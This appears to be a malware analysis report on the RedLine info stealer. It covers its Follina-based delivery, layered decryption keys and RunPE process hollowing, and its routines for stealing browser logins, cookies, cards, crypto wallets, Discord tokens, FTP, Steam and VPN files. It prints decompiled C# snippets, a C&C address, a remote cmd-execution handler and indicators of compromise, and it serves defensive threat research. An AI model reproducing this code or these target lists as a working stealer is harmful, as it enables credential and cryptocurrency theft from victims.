Introduction
Malware authors are extensively using C# code to build malware since last few years, due to its simplicity and rich Application Programming Interfaces (API). RedLine is a C# written advanced info stealer active in the wild since 2020, it is available Malware-as-a-Service (Maas) on underground forum to subscribe or one time purchase. RedLine was initially spreading by sharing Unified Resource Locator (URL) in emails to be downloaded. But the method needed human intervention to execute the downloaded payload. Recently, the RedLine has started using Follina exploit targeting the CVE-2022-30190 Microsoft Windows Support Diagnostic Tool (MSDT) Remote Code Execution Vulnerability, the method triggers the in-memory execution of the malware instead of saving on the disk. RedLine code is visibly simple with vast functionalities. Delivery and execution mechanism involves additional layers to prevent detection and analysis of the malware. The RedLine steals installed browsers data, digital wallets, FTP data, VPN data, Telegram files, Discord tokens, geographical data and captures screen.
Protection Layers
Protection layers are used recursively to bring and execute next level binary until gets the final payload, to prevent the detection and static analysis of the main payload.
Layer 1
The first binary contains encrypted resource entry named as “Helper_Classes”. RC2 decryption is used with key as ‘0989B3A46874B279F1BF795ED112CE22’ (MD5 from a string), mode as Electronic Code Book (ECB) and padding as PKCS7 to get next layer binary. Second layer binary is loaded and executed using reflection APIs.
Layer 2
The second binary contains Advanced Encryption Standard (AES) encrypted resource entry named as “Tesla”. AES algorithm is used with key ‘AB6EDF45E299A7B2968A9D7CD013C1164EFC6165508D691F085B7D9462EE945B’ (SHA256 from a string) and mode as ECB to get next layer binary. Export function from the third binary is invoked using reflection APIs by passing current executable path and payload binary bytes. The malware makes the persistence entry by copying itself into ‘%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\.exe’ using the PowerShell command (cmdlet).
Layer 3
This third binary is obfuscated variant of RunPE module available on GitHub by author NYAN CAT. The module accepts two arguments the executable file path and payload bytes. A new process is created for the provided file path and does process hollowing to execute the RedLine payload bytes.
RedLine Execution
The execution of RedLine info stealer starts from the main method that creates object of EntryPoint class which invokes the constructor, to initialize the Command and Control (C&C) IP addresses list, release identifier, message for the victim and key to decrypt. For the variant, key is kept empty as the fields including the C&C IP addresses list are not encrypted. The constructor also invokes unmanaged code APIs to hide the process console.
public EntryPoint()
{
NativeHelper.Hide();
IP = "45.155.165.19:24150";
ID = "rule";
Message = "";
Key = "";
}
After the initialization, Execute method is invoked which controls the complete execution flow starting from establishing connection with the C&C server using Simple Object Access Protocol (SOAP) API over Hypertext Transfer Protocol Secure (HTTPS) protocol. The malware tries to connect one of the IP addresses from the list of C&C IP addresses, separated by “|”, at the interval of 5 seconds until the connection is established.
bool flag = false;
while (!flag)
{
string[] array = StringDecrypt.Decrypt(entry.IP, entry.Key).Split(new string[1] { "|" }, StringSplitOptions.RemoveEmptyEntries);
foreach (string address in array)
{
if (endpointConnection.RequestConnection(address) && endpointConnection.TryGetConnection())
{
flag = true;
break;
}
}
Thread.Sleep(5000);
}
Object of ScanningArgs class is instantiated which contains configuration information including flags to control various actions on the victim’s machine, list for scanning directory paths and attributes to terminate malware execution.
public class ScanningArgs
{
public bool ScanBrowsers { get; set; }
public bool ScanFiles { get; set; }
public bool ScanFTP { get; set; }
public bool ScanWallets { get; set; }
public bool ScanScreen { get; set; }
public bool ScanTelegram { get; set; }
public bool ScanVPN { get; set; }
public bool ScanSteam { get; set; }
public bool ScanDiscord { get; set; }
public List<string> ScanFilesPaths { get; set; }
public List<string> BlockedCountry { get; set; }
public List<string> BlockedIP { get; set; }
public List<string> ScanChromeBrowsersPaths { get; set; }
public List<string> ScanGeckoBrowsersPaths { get; set; }
}
A new object of ScanningArgs is received from the C&C server to update the default configuration object.
while (!endpointConnection.TryGetArgs(out args))
{
if (!endpointConnection.TryGetConnection())
{
throw new Exception();
}
Thread.Sleep(1000);
}
The BlockedContry list and BlockedIP list is empty for the variant. ScanFilesPaths contains list of files information to be collected from the victim’s machine, ScanChromeBrowsersPaths contains paths of user data storage directory for Chromium based browsers and ScanGeckoBrowsersPaths contains paths user data storage directory for Gecko based browsers:
Two structures are used by the malware to store the stolen information from the compromised machine. ScanResult is the main structure which stores the basic information and references to another structure ScanDetails (object is referred as structure) which stores the advance information.
public struct ScanResult
{
public string Hardware { get; set; }
public string ReleaseID { get; set; }
public string MachineName { get; set; }
public string OSVersion { get; set; }
public string Language { get; set; }
public string Resolution { get; set; }
public ScanDetails ScanDetails { get; set; }
public string Country { get; set; }
public string City { get; set; }
public string TimeZone { get; set; }
public string IPv4 { get; set; }
public byte[] Monitor { get; set; }
public string ZipCode { get; set; }
public string FileLocation { get; set; }
public bool SeenBefore { get; set; }
}
ScanResult.ScanDetails = new ScanDetails
{
AvailableLanguages = new List<string>(),
Browsers = new List<ScannedBrowser>(),
FtpConnections = new List<Account>(),
GameChatFiles = new List<ScannedFile>(),
GameLauncherFiles = new List<ScannedFile>(),
InstalledBrowsers = new List<BrowserVersion>(),
MessageClientFiles = new List<ScannedFile>(),
NordAccounts = new List<Account>(),
Open = new List<ScannedFile>(),
Processes = new List<string>(),
Proton = new List<ScannedFile>(),
ScannedFiles = new List<ScannedFile>(),
ScannedWallets = new List<ScannedFile>(),
SecurityUtils = new List<string>(),
Softwares = new List<string>(),
SystemHardwares = new List<SystemHardware>()
};
The malware retrieves the geographical information using one of the below URLs and initializes fields IPv4, City, Country and ZipCode into ScanResult structure.
- ‘https://api.ip.sb/geoip’
- ‘https://ipinfo.io/ip’
- ‘https://api.ipify.org’
The malware terminates its execution, if the county or IP address of the compromised machine belongs to its lists of blocked countries or IPs respectively.
public static void AKSFD8H23(ScanningArgs settings, ref ScanResult result)
{
GeoInfo geoInfo = GeoHelper.Get();
geoInfo.IP = (string.IsNullOrWhiteSpace(geoInfo.IP) ? "UNKNOWN" : geoInfo.IP);
geoInfo.Location = (string.IsNullOrWhiteSpace(geoInfo.Location) ? "UNKNOWN" : geoInfo.Location);
geoInfo.Country = (string.IsNullOrWhiteSpace(geoInfo.Country) ? "UNKNOWN" : geoInfo.Country);
geoInfo.PostalCode = (string.IsNullOrWhiteSpace(geoInfo.PostalCode) ? "UNKNOWN" : geoInfo.PostalCode);
List<string> blockedCountry = settings.BlockedCountry;
if (blockedCountry != null && blockedCountry.Count > 0 && settings.BlockedCountry.Contains(geoInfo.Country))
{
Environment.Exit(0);
}
List<string> blockedIP = settings.BlockedIP;
if (blockedIP != null && blockedIP.Count > 0 && settings.BlockedIP.Contains(geoInfo.IP))
{
Environment.Exit(0);
}
result.IPv4 = geoInfo.IP;
result.City = geoInfo.Location;
result.Country = geoInfo.Country;
result.ZipCode = geoInfo.PostalCode;
}
The malware contains 22 action methods to collect data and perform tasks on compromised machine. The methods are invoked dynamically and randomly, and some of them perform action based on the flag values from the object of ScanningArgs class.
Actions = new ParsingStep[22]
{
asdkadu8, sdfo8n234, sdfi35sdf, sdf934asd, asdk9345asd, a03md9ajsd, asdk8jasd, лыв7рыва2, ылв92р34выа, аловй, ыал8р45, ываш9р34, длвап9345, ывал8н34, вал93тфыв, вашу0л34, навева, ащы9р34, ыва83о4тфыв, askd435, sdi845sa, asd44123
};
Random rnd = new Random();
Actions = Actions.OrderBy((ParsingStep x) => rnd.Next()).ToArray();
Actions = new ParsingStep[22]
{
asdkadu8, sdfo8n234, sdfi35sdf, sdf934asd, asdk9345asd, a03md9ajsd, asdk8jasd, лыв7рыва2, ылв92р34выа, аловй, ыал8р45, ываш9р34, длвап9345, ывал8н34, вал93тфыв, вашу0л34, навева, ащы9р34, ыва83о4тфыв, askd435, sdi845sa, asd44123
};
foreach (ParsingStep parsingStep in actions)
{
try
{
parsingStep(settings, ref result);
}
catch
{}
}
Action Methods
Action methods are used to fill the ScanResult and ScanDetails structures with the stolen data from the compromised machine.
- asdkadu8 (HardwareID)
Retrieves and concatenates domain name, username and serial number from the compromised machine to compute the MD5 hash. The MD5 hash is assigned to the Hardware field into ScanResult structure. This Hardware field can be used by the threat actors to identify the compromised machine.
ScanResult.Hardware = CryptoHelper.GetMd5Hash(Environment.UserDomainName + Environment.UserName + SystemInfoHelper.GetSerialNumber()).Replace("-", string.Empty);
- sdfo8n234 (ExecutableLocation)
File path of the running executable is assigned to FileLocation field into ScanResult structure.
ScanResult.FileLocation = Assembly.GetExecutingAssembly().Location;
- sdfi35sdf (OSInfo)
Retrieves input language, Time Zone and Operating System (OS) version from the compromised machine, and assigns respectively into Language, TimeZone and OSVersion fields into ScanResult structure.
ScanResult.Language = InputLanguage.CurrentInputLanguage.Culture.EnglishName;
ScanResult.TimeZone = TimeZoneInfo.Local.DisplayName;
ScanResult.OSVersion = SystemInfoHelper.GetWindowsVersion();
- sdf934asd (UserName)
Username of the compromised machine is assigned to MachineName field into ScanResult structure.
ScanResult.MachineName = Environment.UserName;
- asdk9345asd (ProcessorInfo)
Windows Management Instrumentation (WMI) query ‘SELECT * FROM Win32_Processor’ is executed to retrieve the processor information. Processor name, number of cores and processor type is assigned to Name, Counter and HardType fields respectively and added to SystemHardwares list into ScanDetails structure.
ScanResult .ScanDetails.SystemHardwares
{
Name = (managementObject["Name"] as string),
Counter = Convert.ToString(managementObject["NumberOfCores"]),
HardType = HardwareType.Processor
}
- a03md9ajsd (GraphicInfo)
WMI query ‘SELECT * FROM Win32_VideoController’ is executed to retrieve the graphics information. Name, AdapterRAM and Graphic type is assigned to Name, Counter and HardType fields respectively and added to SystemHardwares list into ScanDetails structure.
ScanResult.ScanDetails.SystemHardwares
{
Name = (managementObject["Name"] as string),
Counter = Convert.ToUInt32(managementObject["AdapterRAM"]).ToString(),
HardType = HardwareType.Graphic
}
- asdk8jasd (BrowsersInfo)
Installed browser information is retrieved using registry entry ‘HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Clients\StartMenuInternet’ for 64bit machine and ‘HKEY_LOCAL_MACHINE\SOFTWARE\Clients\StartMenuInternet’ for 32bit machine. Name of the subkey, file path value of subkey ‘shell\open\command’ and version information from file path is assigned to NameOfBrowser, PathOfFile and Version respectively and added to InstalledBrowsers list into ScanResult structure.
ScanResult.ScanDetails.InstalledBrowsers
{
NameOfBrowser : registry subkey name
PathOfFile : subkey value for ‘shell\open\command’
Version : version information from the browser’s executable
}
- лыв7рыва2 (RAM size)
WMI query ‘SELECT TotalVisibleMemorySize FROM Win32_OperatingSystem’ is used to retrieve Random Access Memory (RAM) of the compromised machine. ‘Total of RAM’, ‘Graphic’ and RAM size is assigned to Name, HardType and Counter respectively and added to SystemHardwares list into ScanDetails structure.
ScanResult.ScanDetails.SystemHardwares
{
Name: “Total of RAM”
HardType = HardwareType.Graphic
Counter = SystemInfoHelper.TotalOfRAM()
}
- ылв92р34выа (SoftwaresInfo)
Installed software information is retrieved using registry entry ‘HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall’. Display name and version info is used to prepare and add value <DisplayName> [<DisplayVersion>] to Softwares list into ScanDetails structure.
ScanResult.ScanDetails.Softwares = SystemInfoHelper.ListOfPrograms();
- аловй (SecurityProductsInfo)
WMI queries for the namespace ‘ROOT\\SecurityCenter2’ or ‘ROOT\\SecurityCenter’ are used to retrieve the installed security products information.
- SELECT * FROM AntivirusProduct
- SELECT * FROM AntiSpyWareProduct
- SELECT * FROM FirewallProduct
DisplayName is added to SecurityUtils list into ScanDetails structure.
- ыал8р45 (ProcessesInfo)
WMI query ‘SELECT * FROM Win32_Process Where SessionId=’Process.GetCurrentProcess().SessionId’’ is used to retrieve processes information. ProcessId, Name and CommandLine is concatenated to ‘ID: <ProcessId>, Name: <Name>, CommandLine: <CommandLine>’ and added to Processes list into ScanDetails structure.
ScanResult.ScanDetails.Processes = SystemInfoHelper.ListOfProcesses();
- ываш9р34 (InstalledLanguagesInfo)
Installed input languages is added to AvailableLanguages list into ScanDetails structure.
ScanResult.ScanDetails.AvailableLanguages = SystemInfoHelper.AvailableLanguages();
- длвап9345 (ScreenCapture)
If the ScanScreen flag is enabled, the screen is captured as a PNG image which is converted into bytes array and stored to Monitor field into ScanResult structure. The screen capture image can be used by threat actor to Identify, if the malware is running under any monitoring tool in a controlled environment.
- ывал8н34 (TelegramFiles)
If the ScanTelegram flag is enabled, processes are enumerated to find the ‘Telegram.exe’. If Telegram process is found, Telegram installation directory is extracted from executable’s path, else the default path ‘%APPDATA%\Telegram Desktop’ is considered as Telegram installation directory. The malware looks for 16 characters long subdirectories into the Telegram installation directory and adds them into the list of FileScannerArg along with path of ‘<Telegram Installation Directory>\tdata’.
FileScannerArg
{
Directory : “One of the scan directories”
Pattern : “*”
Recourisive : false
Tag : “sequence number”
}
The scanning of FileScannerArg involves searching for files matching the pattern and collecting file body, user profile name, application name, file name and file path and adds to the list of MessageClientFiles in ScanDetails structure.
ScannedFile
{
Body : content of the file
DirfOfFile : profile directory name
NameOfApplication : application name or the directory sequence
NameOfFile : file name
PathOfFile : null
}
- вал93тфыв (BrowsersData)
If the ScanBrowsers flag is enabled, directory paths from ScanningArgs.ScanChromeBrowsersPaths and ScanningArgs.ScanGeckoBrowsersPaths are retrieved and enumerated to gets user data storing files. The user data files are decrypted to retrieve and save user data into ScannedBrowser structures and added to the Browsers list into ScanDetails structure.
ScannedBrowser
{
Autofills : auto fill entries list
BrowserName : browser name
BrowserProfile : browser profile
CC : list of cards (HolderName, Month, Number, Year)
Cookies : list of ScannedCookies (Expires, Host, Http, Name, Path, Secure, Value)
Logins : list of Accounts (Password, URL, Username)
}
- вашу0л34 (SensitiveFiles)
If ScanFiles flag is enabled, file paths from ScanFilesPaths list from ScanningArgs are retrieved to get attributes directory to search, patterns, recursive search and maximum file size (optional) separated by “|”.
ScanningArgs.ScanFilesPaths
{
"%userprofile%\\Desktop|*.txt,*.doc*,*key*,*wallet*,*seed*|0" string
"%userprofile%\\Documents|*.txt,*.doc*,*key*,*wallet*,*seed*|0" string
}
Directory |
Patterns |
Recursive |
%userprofile%\Desktop |
*.txt,*.doc*,*key*,*wallet*,*seed* |
0 |
%userprofile%\Documents |
*.txt,*.doc*,*key*,*wallet*,*seed* |
0 |
If the directory is “%DSK_32%”, the malware scans though all the logical drives recursively excluding file paths containing below sub paths. Default max file size of scanning any file is 3097152 bytes:
- ‘\\Windows\\’
- ‘\\Program Files\\’
- ‘\\Program Files (x86)\\’
- ‘\\Program Data\\’
The scanning of FileScannerArg involves searching for files matching the pattern and collecting file body, file directory, application name, file name and file and adds to the list of ScannedFiles in ScanDetails structure
ScannedFile
{
Body : content of the file
DirfOfFile : file directory
NameOfApplication : null
NameOfFile : file name
PathOfFile : file path
}
- Навева (FileZillaCredentials)
If the ScanFTP flag is enabled, FileZilla files “%APPDATA%\FileZilla\recentservers.xml” and “%APPDATA%\FileZilla\sitemanager.xml” are examined to retrieve URL, port, username and password, and assigned to Account structure and added to FtpConnections into ScanDetails structure.
Account
{
URL : FTP URL along with the port number
Username : username
Password : password
}
- ащы9р34 (DigitalWallets)
If the ScanWallets is enabled, digital currency wallets path including chromium-based browsers extension paths are added into FileScannerArg along with Patterns and Recoursive flag values.
browserExtensionsRule.SetPaths(settings.ScanChromeBrowsersPaths);
result.ScanDetails.ScannedWallets.AddRange(FileScanner.Scan(
new ArmoryRule(),
new AtomicRule(),
new CoinomiRule(),
new ElectrumRule(),
new EthRule(),
new ExodusRule(),
new GuardaRule(),
new Jx(),
new AllWalletsRule(),
browserExtensionsRule));
Directory |
Pattern |
Recursive |
Tag |
%APPDATA%\Armory |
*.wallet |
false |
null |
%APPDATA%\atomic |
* |
true |
null |
%APPDATA%\Coinomi |
* |
true |
null |
%APPDATA%\Ethereum\wallets |
* |
false |
null |
%APPDATA%\Exodus |
*.json |
false |
null |
%APPDATA%\Exodus\exodus.wallet |
* |
false |
null |
%APPDATA%\Guarda |
* |
true |
null |
%APPDATA%\com.liberty.jaxx |
* |
true |
null |
Directory |
Pattern |
Recursive |
Tag |
<ChromiumBrowsersDataDir>\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb |
* |
false |
<browser_name>_YoroiWallet |
<ChromiumBrowsersDataDir>\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec |
* |
false |
<browser_name>_Tronlink |
<ChromiumBrowsersDataDir>\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid |
* |
false |
<browser_name>_NiftyWallet |
<ChromiumBrowsersDataDir>\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn |
* |
false |
<browser_name>_Metamask |
<ChromiumBrowsersDataDir>\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc |
* |
false |
<browser_name>_MathWallet |
<ChromiumBrowsersDataDir>\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad |
* |
false |
<browser_name>_Coinbase |
<ChromiumBrowsersDataDir>\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp |
* |
false |
<browser_name>_BinanceChain |
<ChromiumBrowsersDataDir>\Local Extension Settings\odbfpeeihdkbihmopkbjmoonfanlbfcl |
* |
false |
<browser_name>_BraveWallet |
<ChromiumBrowsersDataDir>\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln |
* |
false |
<browser_name>_GuardaWallet |
<ChromiumBrowsersDataDir>\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac |
* |
false |
<browser_name>_EqualWallet |
<ChromiumBrowsersDataDir>\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne |
* |
false |
<browser_name>_JaxxxLiberty |
<ChromiumBrowsersDataDir>\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi |
* |
false |
<browser_name>_BitAppWallet |
<ChromiumBrowsersDataDir>\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj |
* |
false |
<browser_name>_iWallet |
<ChromiumBrowsersDataDir>\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih |
* |
false |
<browser_name>_Wombat |
<ChromiumBrowsersDataDir>\Local Extension Settings\fhilaheimglignddkjgofkcbgekhenbh |
* |
false |
<browser_name>_AtomicWallet |
<ChromiumBrowsersDataDir>\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm |
* |
false |
<browser_name>_MewCx |
<ChromiumBrowsersDataDir>\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj |
* |
false |
<browser_name>_GuildWallet |
<ChromiumBrowsersDataDir>\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig |
* |
false |
<browser_name>_SaturnWallet |
<ChromiumBrowsersDataDir>\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec |
* |
false |
<browser_name>_RoninWallet |
The scanning of FileScannerArg involves searching for files matching the pattern and collecting file body, file directory, application name, file name and file path and adds to the list of ScannedFiles into ScanDetails structure.
- ыва83о4тфыв (DiscordToken)
If the ScanDiscord flag is enabled, directory ‘%appdata%\discord\Local Storage\leveldb’ with Pattern *.log, *.ldb and Recoursive flag as false is added into FileScannerArg.
The scanning of FileScannerArg involves searching for files matching the pattern and collecting file body, file directory, application name, file name and file path, and adds to the list of GameChatFiles in ScanDetails. The file body is again scanned to match regular expression ‘ [A-Za-z\d]{24}\.[\w-]{6}\.[\w-]{27} to retrieve the discord token which is then replaced the file body to the ScannedFile structure.
ScannedFile
{
Body : matching regular expression pattern in file content
DirfOfFile : file directory
NameOfApplication : null
NameOfFile : Tokens.txt
PathOfFile : file path
}
- askd435
If the ScanSteam flag is enabled, the Steam installation path is retrieved from the registry entry ‘HKEY_CURRENT_USER\SOFTWARE\Valve\Steam’ and added into FileScannerArg along with Pattern and Recousive flag.
Directory |
Patterns |
Recursive |
<SteamInstalltionPath> |
*ssfn* |
0 |
<SteamInstalltionPath>\config |
*.vsdf |
0 |
The scanning of FileScannerArg involves searching for files matching the pattern and collecting file body, file directory, application name, file name and file path and adds to the list of GameLauncherFiles into ScanDetails structure.
- sdi845sa (VPNFiles)
If ScanVPN flag is enabled, directory path for OpenVPN and ProtonVPN are added into FileScannerArg. The malware has artifacts that shows, NordVPN files stealing is either being used in other variant or it is planned to be used in upcoming variant.
Directory |
Patterns |
Recursive |
%USERPROFILE%\AppData\Roaming\OpenVPN Connect\profiles |
*ovpn* |
0 |
%USERPROFILE%\\AppData\\Local\\ProtonVPN |
*.vsdf |
0 |
The scanning of FileScannerArg involves searching for files matching the pattern and collecting file body, file directory, application name, file name and file path for OpenVPN and ProtonVPN and adds to the list Open and Proton into ScanDetails structure.
ScannedFile
{
Body : file content
DirfOfFile : null
NameOfApplication : null
NameOfFile : name of file
PathOfFile : file path
}
- asd44123
Primary screen size (width, height) is retrieved and assigned to Resolution field into ScanResult structure.
If the directory ‘%APPDATA%\Yandex\YaAddon’ exists on the compromised machine, it is considered that the malware already run before on the machine and SeenBefore field is set into ScanResult structure. If the directory is not found, SeenBefore field is reset and the directory ‘%APPDATA%\Yandex\YaAddon’ is created.
ScanResult.SeenBefore = SeenBefore();
The malware enumerates through the filled structures and replaces empty values with ‘UNKNOWN’.
String Obfuscation
Strings are broken into substring and characters to prevent string-based detections and static analysis. The malware also puts some garbage characters into the original string, which are replaced before using the string.
geoInfo.IP = Encoding.UTF8.GetString(new WebClient().DownloadData(new string(new char[21]
{
'h', 't', 't', 'p', 's', ':', '/', '/', 'a', 'p',
'i', '.', 'i', 'p', 'i', 'f', 'y', '.', 'o', 'r',
'g'
}))).Replace("\n", "");
C&C Communication
RedLine sends the structure containing stolen data from the compromised machine using SOAP API and receives list of tasks containing TaskID, TaskArg, Action and DomainFilter from the C&C server.
public class UpdateTask
{
public int TaskID { get; set; }
public string TaskArg { get; set; }
public UpdateAction Action { get; set; }
public string DomainFilter { get; set; }
}
The malware has 5 action tasks but for the variant, RunPE task action is not supported.
public enum UpdateAction
{
Download,
RunPE,
DownloadAndEx,
OpenLink,
Cmd
}
Actions Commands
Cmd
Executes the TaskArg value using Command Prompt executable
System.Diagnostics.Process.Start(new ProcessStartInfo("cmd", "/C "+updateTask.TaskArg)
{
UseShellExecu[t]e = false,
CreateNoWindow = true
}).WaitForExit(30000);
Download
Retrieves download URL and file path from the TaskArg field, separated by “|”. File is downloaded from the URL and saved to the file path.
DownloadAndEx
Retrieves download URL and file path from the TaskArg field, separated by “|”. File is downloaded from the URL and executes by setting the current working directory to the downloaded file directory.
OpenLink
TaskArg is executed as a new process.
The malware sends the TaskID from UpdateTask to the C&C server after completing the action task on the compromised machine.
Indicators Of Compromise
Follina
20aa70539f31bd9cafba21a89b06857298f64f2cca97869e7cf6532927016877
Protection Layers
3354174f028a2682fa83d1b8bce2cf90fa39534f108f9902c2d5ecd644ad8421 (Layer 1)
846e9ae1f5cb837efc5a96ebfff3b846fa48433d19426b869c2bfbe80c90479a (Layer 2)
97024f17003dd3d31dab64c4d1b8251e50d428644eb59ed3692ad79ce42019cf (Layer 3, RunPE)
RedLine
4799408b9b05bdf02da7807a3e3e253f35fb2e57cc55e28cb8fe3b181825bb29
C&C Server
45.155.165.19:24150
References
https://www.proofpoint.com/us/blog/threat-insight/new-redline-stealer-distributed-using-coronavirus-themed-email-campaign
https://github.com/NYAN-x-CAT/CSharp-RunPE
https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/